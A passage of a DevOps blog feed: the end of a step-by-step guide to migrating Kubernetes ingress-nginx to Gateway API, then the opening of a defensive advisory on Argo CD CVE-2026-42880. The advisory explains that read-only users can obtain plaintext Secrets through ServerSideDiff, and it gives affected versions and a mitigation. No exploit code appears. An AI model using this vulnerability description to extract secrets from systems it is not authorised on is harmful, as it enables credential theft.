<pre><code class="hljs language-bash">kubectl get ingress -A -o jsonpath=<span class="hljs-string">&#x27;{range .items[*]}{.metadata.namespace}/{.metadata.name}: {.spec.rules[*].host}{&quot;\n&quot;}{end}&#x27;</span>
</code></pre><p>That gives you a list of every Ingress with its hosts. Useful for scoping the migration into batches by team or by hostname. Then dig into the annotations:</p>
<pre><code class="hljs language-bash">kubectl get ingress -A -o json \
  | jq -r <span class="hljs-string">&#x27;.items[]
      | .metadata as $m
      | (.metadata.annotations // {})
      | to_entries[]
      | &quot;\($m.namespace)/\($m.name)\t\(.key)\t\(.value)&quot;&#x27;</span> \
  | grep <span class="hljs-string">&#x27;^[^\t]*\tnginx.ingress.kubernetes.io/&#x27;</span> \
  | <span class="hljs-built_in">sort</span> -k2
</code></pre><p>This produces a tab-separated table of every nginx annotation in use, grouped by annotation name. The output tells you exactly which features your migration needs to preserve. Save it. You will check it again at the end to confirm nothing got lost.</p>
<p>Pay particular attention to these annotations, which are the ones <code>ingress2gateway</code> does not handle:</p>
<pre><code class="hljs language-text">nginx.ingress.kubernetes.io/configuration-snippet
nginx.ingress.kubernetes.io/server-snippet
nginx.ingress.kubernetes.io/auth-snippet
nginx.ingress.kubernetes.io/auth-url
nginx.ingress.kubernetes.io/auth-signin
nginx.ingress.kubernetes.io/auth-tls-secret
nginx.ingress.kubernetes.io/session-cookie-name
nginx.ingress.kubernetes.io/load-balance
nginx.ingress.kubernetes.io/upstream-hash-by
nginx.ingress.kubernetes.io/mirror-target
</code></pre><p>If your output contains any of these, the migration has manual work in it. We will get to what to do with each of them later.</p>
<h2 id="h2-step-2-pick-a-gateway-api-controller" class="group relative scroll-mt-24">
        <a href="#h2-step-2-pick-a-gateway-api-controller" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: Pick a Gateway API controller
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-2-pick-a-gateway-api-controller"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There are four serious candidates today, all conformant with <a href="https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/">Gateway API v1.4</a>. The decision is less about features and more about what you already run.</p>
<pre><code class="hljs language-text">+---------------------+---------------------------------+-----------------------------+
| Controller          | Best fit when you already       | Watch out for               |
+---------------------+---------------------------------+-----------------------------+
| Envoy Gateway       | You want a clean, focused,      | Newer project, smaller      |
|                     | CNCF-governed Envoy frontend    | community than Istio        |
|                     | with no service mesh baggage    |                             |
| kgateway            | You run Solo.io&#x27;s Gloo stack,   | License history; verify     |
|                     | want AI/MCP routing primitives  | the kgateway open-source    |
|                     | out of the box                  | story matches your needs    |
| Cilium Gateway      | You already use Cilium for CNI; | Couples L7 routing to your  |
|                     | unified control plane is the    | CNI choice                  |
|                     | win                             |                             |
| Istio Gateway       | You already run Istio for mesh; | Inheriting Istio&#x27;s full     |
|                     | reuse the existing control      | control plane is a big lift |
|                     | plane                           | if you do not already       |
+---------------------+---------------------------------+-----------------------------+
</code></pre><p>If none of the &quot;best fit&quot; rows describe you, Envoy Gateway is the conservative default. It is Envoy-based, CNCF-governed, and ships with the lowest surprise count for an operator coming from ingress-nginx.</p>
<p>A note on InGate: it was the project the ingress-nginx maintainers had been positioning as the successor. The November 2025 retirement post explicitly stated InGate &quot;never progressed far enough to create a mature replacement; it will also be retired.&quot; Do not migrate to InGate. The path forward is Gateway API with one of the controllers above.</p>
<h2 id="h2-step-3-translate-ingress-resources-with-ingress2gateway" class="group relative scroll-mt-24">
        <a href="#h2-step-3-translate-ingress-resources-with-ingress2gateway" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: Translate Ingress resources with ingress2gateway
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-3-translate-ingress-resources-with-ingress2gateway"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><code>ingress2gateway</code> 1.0 shipped on 2026-03-20 with an Emitters framework that produces output tailored to a specific Gateway API controller. The basic invocation against your live cluster:</p>
<pre><code class="hljs language-bash">ingress2gateway <span class="hljs-built_in">print</span> \
  --providers=ingress-nginx \
  -A \
  --emitter envoy-gateway \
  &gt; gateway.yaml
</code></pre><p>Swap <code>--emitter envoy-gateway</code> for <code>kgateway</code> or <code>standard</code> depending on your target. The <code>standard</code> emitter produces vanilla Gateway API resources with no vendor-specific extensions, which is the right choice if you want to keep the option to switch controllers later.</p>
<p>Output is one or more <code>Gateway</code>, <code>HTTPRoute</code>, and <code>BackendTLSPolicy</code> resources, plus any vendor extensions the emitter knows about. Read the YAML carefully. The tool also emits warnings to stderr for annotations it recognises but cannot translate, and silently drops annotations it does not recognise.</p>
<p>Here is what 1.0 translates cleanly out of the box for the ingress-nginx provider (from <a href="https://github.com/kubernetes-sigs/ingress2gateway/blob/main/pkg/i2gw/providers/ingressnginx/README.md">the provider README</a>):</p>
<pre><code class="hljs language-text">canary, canary-by-header, canary-by-header-value, canary-weight, canary-weight-total
rewrite-target (URLRewrite filter, ReplaceFullPath)
app-root, permanent-redirect, temporal-redirect, ssl-redirect
upstream-vhost, connection-proxy-header, x-forwarded-prefix
proxy-connect-timeout, proxy-send-timeout, proxy-read-timeout
proxy-body-size, client-body-buffer-size
backend-protocol (HTTP/HTTPS/GRPC/GRPCS, producing HTTPRoute or GRPCRoute + BackendTLSPolicy)
use-regex
enable-cors and the full CORS annotation set
whitelist-source-range, denylist-source-range
proxy-ssl-verify, proxy-ssl-secret, proxy-ssl-name, proxy-ssl-server-name
TLS via spec.tls[] (Listener with Terminate mode)
</code></pre><p>Here is what it warns on but does not translate (no Gateway API equivalent yet):</p>
<pre><code class="hljs language-text">canary-by-header-pattern   (regex header match is not in core Gateway API)
canary-by-cookie           (cookie-based canary not in core)
proxy-redirect-from/-to
custom-headers
proxy-ssl-verify-depth, proxy-ssl-protocols
</code></pre><p>And here is what it does not even acknowledge (no translation, no warning):</p>
<pre><code class="hljs language-text">configuration-snippet, server-snippet, auth-snippet
auth-url, auth-signin, auth-tls-secret, auth-response-headers
session-cookie-name and related sticky-session annotations
load-balance (round-robin/ewma/etc.)
upstream-hash-by
mirror-target
</code></pre><p>That third group is where the actual migration work hides. The first two groups translate or warn; you can review the output and move on. The third group needs case-by-case decisions.</p>
<h2 id="h2-step-4-handle-the-annotations-ingress2gateway-drops" class="group relative scroll-mt-24">
        <a href="#h2-step-4-handle-the-annotations-ingress2gateway-drops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Handle the annotations ingress2gateway drops
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-4-handle-the-annotations-ingress2gateway-drops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Gateway API team did not standardise the snippet annotations on purpose. They were the architectural reason ingress-nginx became unmaintainable. The migration is the moment to write down what each snippet actually does and find a structured replacement.</p>
<p><strong><code>configuration-snippet</code>, <code>server-snippet</code>, <code>auth-snippet</code></strong>. Each of these injects raw NGINX configuration into the generated config. There is no Gateway API equivalent because the design goal of Gateway API is &quot;no untyped configuration&quot;. Identify what each snippet does (custom rate limiting, custom logging, request manipulation, ad-hoc auth) and pick a structured replacement. For Envoy Gateway, that means <code>SecurityPolicy</code>, <code>ClientTrafficPolicy</code>, <code>BackendTrafficPolicy</code>, and <code>EnvoyExtensionPolicy</code>. For kgateway it is <code>TrafficPolicy</code>. For Istio Gateway it is <code>EnvoyFilter</code> (which is itself escape-hatch shaped, but at least typed) plus <code>AuthorizationPolicy</code>.</p>
<p>If a snippet does something that has no clean replacement, this is the moment to ask whether the feature was really earning its keep.</p>
<p><strong><code>auth-url</code>, <code>auth-signin</code>, <code>auth-tls-secret</code>, <code>auth-response-headers</code></strong>. External auth (the classic &quot;redirect to your OIDC proxy&quot; pattern). Envoy Gateway has <a href="https://gateway.envoyproxy.io/docs/tasks/security/ext-auth/"><code>SecurityPolicy.extAuth</code></a> which is the closest one-to-one mapping. kgateway has equivalent functionality in <code>TrafficPolicy</code>. Istio Gateway has <code>AuthorizationPolicy</code> with <code>CUSTOM</code> action. None of these are auto-translated; you have to write the new resource by hand. The good news is the replacement is typed and reviewable, unlike the original annotation.</p>
<p><strong><code>session-cookie-name</code> and sticky sessions</strong>. Gateway API core does not have a sticky-session knob. Every controller has its own vendor extension: Envoy Gateway&#39;s <a href="https://gateway.envoyproxy.io/contributions/design/session-persistence/"><code>BackendTrafficPolicy.sessionPersistence</code></a>, kgateway&#39;s session affinity in <code>TrafficPolicy</code>, Istio&#39;s <code>DestinationRule</code> with <code>consistentHash</code>.</p>
<p><strong><code>load-balance</code> and <code>upstream-hash-by</code></strong>. Same story. Core Gateway API picks a controller-defined algorithm by default (Envoy: weighted round-robin). To force a specific algorithm or consistent hash on a header, use the controller&#39;s <code>BackendTrafficPolicy</code> or equivalent.</p>
<p><strong><code>mirror-target</code></strong>. Gateway API has a <a href="https://gateway-api.sigs.k8s.io/reference/spec/#httprequestmirrorfilter"><code>RequestMirror</code></a> filter type that does exactly this, but <code>ingress2gateway</code> does not auto-translate to it. Write it manually as an <code>HTTPRoute.filter</code> of type <code>RequestMirror</code>.</p>
<p>The pattern across all of these: figure out which Gateway API extension type the target controller uses, then write the resource alongside the auto-translated <code>HTTPRoute</code>. None of this is fast, but all of it is mechanical once you have the inventory from step 1.</p>
<h2 id="h2-step-5-run-both-controllers-side-by-side" class="group relative scroll-mt-24">
        <a href="#h2-step-5-run-both-controllers-side-by-side" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 5: Run both controllers side by side
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-5-run-both-controllers-side-by-side"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Do not delete ingress-nginx. Install the new controller alongside it, with a separate <code>GatewayClass</code> and a separate Service <code>LoadBalancer</code>. Both controllers reconcile their own resources independently. There is no conflict as long as you keep the resource types separate (Ingress vs HTTPRoute) and the class names different.</p>
<p>A representative install of Envoy Gateway:</p>
<pre><code class="hljs language-bash">helm install eg oci://docker.io/envoyproxy/gateway-helm \
  --version v1.4.0 \
  -n envoy-gateway-system \
  --create-namespace

kubectl <span class="hljs-built_in">wait</span> --<span class="hljs-built_in">timeout</span>=5m -n envoy-gateway-system \
  deployment/envoy-gateway --<span class="hljs-keyword">for</span>=condition=Available
</code></pre><p>Then a <code>GatewayClass</code> and a <code>Gateway</code> that gets its own external IP:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">gateway.networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">GatewayClass</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">eg</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">controllerName:</span> <span class="hljs-string">gateway.envoyproxy.io/gatewayclass-controller</span>
<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">gateway.networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Gateway</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">production</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">envoy-gateway-system</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">gatewayClassName:</span> <span class="hljs-string">eg</span>
  <span class="hljs-attr">listeners:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">https</span>
      <span class="hljs-attr">protocol:</span> <span class="hljs-string">HTTPS</span>
      <span class="hljs-attr">port:</span> <span class="hljs-number">443</span>
      <span class="hljs-attr">tls:</span>
        <span class="hljs-attr">mode:</span> <span class="hljs-string">Terminate</span>
        <span class="hljs-attr">certificateRefs:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">production-tls</span>
      <span class="hljs-attr">allowedRoutes:</span>
        <span class="hljs-attr">namespaces:</span>
          <span class="hljs-attr">from:</span> <span class="hljs-string">All</span>
</code></pre><p>Apply the <code>gateway.yaml</code> from <code>ingress2gateway</code> and set the <code>HTTPRoute.parentRefs</code> to this Gateway:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">gateway.networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">HTTPRoute</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">api</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">production</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">parentRefs:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">production</span>
      <span class="hljs-attr">namespace:</span> <span class="hljs-string">envoy-gateway-system</span>
  <span class="hljs-attr">hostnames:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">api.example.com</span>
  <span class="hljs-attr">rules:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">matches:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span>
            <span class="hljs-attr">type:</span> <span class="hljs-string">PathPrefix</span>
            <span class="hljs-attr">value:</span> <span class="hljs-string">/</span>
      <span class="hljs-attr">backendRefs:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">api</span>
          <span class="hljs-attr">port:</span> <span class="hljs-number">8080</span>
</code></pre><p>DNS still points at the ingress-nginx Service IP at this stage. The new Gateway has its own IP but no production traffic. You can test it directly with <code>curl --resolve api.example.com:443:&lt;new-lb-ip&gt; https://api.example.com/</code>, which is the cleanest way to validate behaviour before any user-visible change.</p>
<h2 id="h2-step-6-validate-with-metrics-then-flip-dns" class="group relative scroll-mt-24">
        <a href="#h2-step-6-validate-with-metrics-then-flip-dns" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 6: Validate with metrics, then flip DNS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-6-validate-with-metrics-then-flip-dns"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Gateway is running and answering synthetic requests. Before any DNS change, run the same Prometheus queries against the new controller that you already run against ingress-nginx, then compare.</p>
<p>The ingress-nginx baseline you already have:</p>
<pre><code class="hljs language-promql"># Request rate per Ingress
sum(rate(nginx_ingress_controller_requests[5m])) by (ingress)

# 5xx rate per Ingress
sum(rate(nginx_ingress_controller_requests{status=~&quot;5..&quot;}[5m])) by (ingress)
/
sum(rate(nginx_ingress_controller_requests[5m])) by (ingress)

# p99 latency per Ingress
histogram_quantile(0.99,
  sum(rate(nginx_ingress_controller_request_duration_seconds_bucket[5m])) by (le, ingress))
</code></pre><p>The Envoy Gateway equivalents pull from the standard Envoy cluster metrics:</p>
<pre><code class="hljs language-promql"># Request rate per upstream cluster
sum(rate(envoy_cluster_upstream_rq_total[5m])) by (envoy_cluster_name)

# 5xx rate per upstream cluster
sum(rate(envoy_cluster_upstream_rq_xx{envoy_response_code_class=&quot;5&quot;}[5m]))
  by (envoy_cluster_name)
/
sum(rate(envoy_cluster_upstream_rq_total[5m])) by (envoy_cluster_name)

# p99 upstream RTT per cluster
histogram_quantile(0.99,
  sum(rate(envoy_cluster_upstream_rq_time_bucket[5m])) by (le, envoy_cluster_name))
</code></pre><p>For kgateway, Cilium Gateway, and Istio Gateway, the metric names differ; check the controller&#39;s metrics documentation. The shape of the queries (rate, by-label, histogram quantile) is the same.</p>
<p>The numbers from the synthetic traffic should match the ingress-nginx baseline within noise. If 5xx jumps on the new controller and not the old one, you have an HTTPRoute translation gap, almost always in the annotation handling. Fix it before flipping DNS.</p>
<p>When the numbers match, shift traffic. The simplest approach is weighted DNS records: 1%, then 5%, then 25%, 50%, 100%. Watch the same dashboards through each step. If you have a CDN or service mesh in front, you can shift by header instead, which is faster to roll back.</p>
<h2 id="h2-step-7-decommission" class="group relative scroll-mt-24">
        <a href="#h2-step-7-decommission" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 7: Decommission
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-7-decommission"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Once DNS has fully cut over and the TTL window has elapsed (plus any CDN cache lifetime), drain ingress-nginx:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Drop external connectivity first</span>
kubectl -n ingress-nginx patch svc ingress-nginx-controller \
  -p <span class="hljs-string">&#x27;{&quot;spec&quot;:{&quot;type&quot;:&quot;ClusterIP&quot;}}&#x27;</span>

<span class="hljs-comment"># Then scale the controller to zero</span>
kubectl -n ingress-nginx scale deploy ingress-nginx-controller --replicas=0
</code></pre><p>Leave the resources in place for a release cycle in case you need to roll back. The Service-type change costs nothing and removes the LoadBalancer charge while keeping the Ingress objects reachable internally. If everything looks healthy after a week, remove the Helm release.</p>
<h2 id="h2-rollback-path" class="group relative scroll-mt-24">
        <a href="#h2-rollback-path" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Rollback path
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-rollback-path"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The reason for the side-by-side install is that rollback at any stage is a DNS change, not a redeploy. If the new controller misbehaves at 25% traffic, push DNS back to 100% ingress-nginx and the world recovers in one TTL cycle. The HTTPRoutes stay in the cluster. You can iterate on them while production is back on the old path.</p>
<p>This is the operational reason &quot;flag day&quot; migrations of ingress controllers are a bad idea. The control plane is two systems, the data plane is two systems, the DNS weight is a knob. Use the knob.</p>
<h2 id="h2-real-world-references" class="group relative scroll-mt-24">
        <a href="#h2-real-world-references" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Real-world references
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-real-world-references"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Three migration write-ups worth reading alongside this one:</p>
<ul>
<li><a href="https://www.pulumi.com/blog/ingress-nginx-to-gateway-api-kgateway/">Pulumi engineering, &quot;How to Move to the Gateway API after ingress-nginx Retirement&quot;</a> (kgateway as the target, January 2026)</li>
<li><a href="https://www.datadoghq.com/blog/migrate-to-gateway-api/">Datadog engineering, &quot;Ingress NGINX is EOL: a practical guide for migrating to Kubernetes Gateway API&quot;</a> (the seven-step framework, April 2026)</li>
<li><a href="https://engineering.01cloud.com/2026/03/26/migrating-from-kubernetes-ingress-to-gateway-api-a-zero-downtime-production-success-story/">An engineering team&#39;s zero-downtime production write-up</a> (Envoy Gateway, separate LB IPs, WebSocket and gRPC gotchas, March 2026)</li>
</ul>
<p>None of them publish exact latency numbers, so be wary of any claim that a specific controller is &quot;30% faster&quot; out of the box. The honest answer is &quot;it depends on your routes and your traffic&quot;, and your own PromQL during canary is the data you actually want.</p>
<h2 id="h2-sources" class="group relative scroll-mt-24">
        <a href="#h2-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><a href="https://kubernetes.io/blog/2025/11/11/ingress-nginx-retirement/">kubernetes.io/blog/2025/11/11/ingress-nginx-retirement</a></li>
<li><a href="https://kubernetes.io/blog/2026/01/29/ingress-nginx-statement/">kubernetes.io/blog/2026/01/29/ingress-nginx-statement</a></li>
<li><a href="https://github.com/kubernetes-sigs/ingress2gateway">github.com/kubernetes-sigs/ingress2gateway (README and releases)</a></li>
<li><a href="https://github.com/kubernetes-sigs/ingress2gateway/releases/tag/v1.0.0">ingress2gateway 1.0.0 release notes</a></li>
<li><a href="https://github.com/kubernetes-sigs/ingress2gateway/blob/main/pkg/i2gw/providers/ingressnginx/README.md">Provider README for ingress-nginx</a></li>
<li><a href="https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/">Gateway API v1.4 release</a></li>
<li><a href="https://gateway-api.sigs.k8s.io/implementations/">Gateway API implementations matrix</a></li>
</ul>
<p>Inventory, translate, run side-by-side, validate with metrics, flip DNS, decommission. The migration is mechanical. The annotation cleanup is where the engineering judgement lives.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Argo CD CVE-2026-42880: When Read-Only Means Read-Everything-Including-Secrets]]></title>
      <link>https://devops-daily.com/posts/argocd-cve-2026-42880-serversidediff-secret-leak</link>
      <description><![CDATA[A critical Argo CD bug (CVSS 9.6, disclosed May 7) lets any authenticated user pull plaintext Kubernetes Secrets out of any Application that has ServerSideDiff with mutation-webhook diffs enabled. Here is the upgrade matrix, the one-liner to find at-risk apps in your cluster, and the safe RBAC scope-down for teams that cannot patch today.]]></description>
      <pubDate>Thu, 14 May 2026 09:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/argocd-cve-2026-42880-serversidediff-secret-leak</guid>
      <category><![CDATA[Kubernetes]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[Security]]></category><category><![CDATA[Argo CD]]></category><category><![CDATA[GitOps]]></category><category><![CDATA[RBAC]]></category>
      <content:encoded><![CDATA[<p>A week ago, on May 7, 2026, the Argo CD project published <a href="https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3">GHSA-3v3m-wc6v-x4x3</a>. The summary is short: any authenticated Argo CD user, including everyone on the default <code>role:readonly</code>, can pull plaintext Kubernetes Secret values out of any Application that uses ServerSideDiff with the mutation-webhook annotation. CVSS 9.6, scope-changed because the leak crosses the Argo CD trust boundary into etcd.</p>
<p>If you maintain an Argo CD instance shared by more than one team, you almost certainly have read-only users. If you maintain one Application with the <code>IncludeMutationWebhook=true</code> compare option set, that Application&#39;s rendered Secrets are visible to every one of those users. Service account tokens, TLS private keys, database credentials, the lot, sitting one API call away.</p>
<p>This post covers the patch matrix, how to find at-risk Applications in your cluster today, what to do if you cannot upgrade immediately, and why this is the second authorization-bypass of this exact shape inside twelve months.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>CVE-2026-42880</strong>, CVSS 9.6, disclosed 2026-05-07. Affects Argo CD <strong>3.2.0 to 3.2.10</strong> and <strong>3.3.0 to 3.3.8</strong>. Fixed in <strong>v3.2.11</strong> and <strong>v3.3.9</strong>. v2.x is not affected.</li>
<li>Any authenticated user with <code>applications, get</code> (the default <code>role:readonly</code> grants this) can call ServerSideDiff and receive unmasked Kubernetes Secret values for any Application that has the annotation <code>argocd.argoproj.io/compare-options</code> containing <code>IncludeMutationWebhook=true</code>.</li>
<li>Detection is a single <code>jq</code> query against <code>kubectl get applications.argoproj.io -A -o json</code>. See below.</li>
<li>If you cannot upgrade today, the practical mitigation is removing <code>IncludeMutationWebhook=true</code> from those annotations. It is safe to remove. Diffs simply revert to filtering out fields injected by mutating webhooks, which is the default ServerSideDiff behavior anyway.</li>
<li>This is the second authorization-bypass disclosure in Argo CD in twelve months. Both leaked through endpoints that forgot to call a redaction helper. Treat <code>role:readonly</code> as &quot;read-everything-including-secrets&quot; until proven otherwise.</li>
</ul>
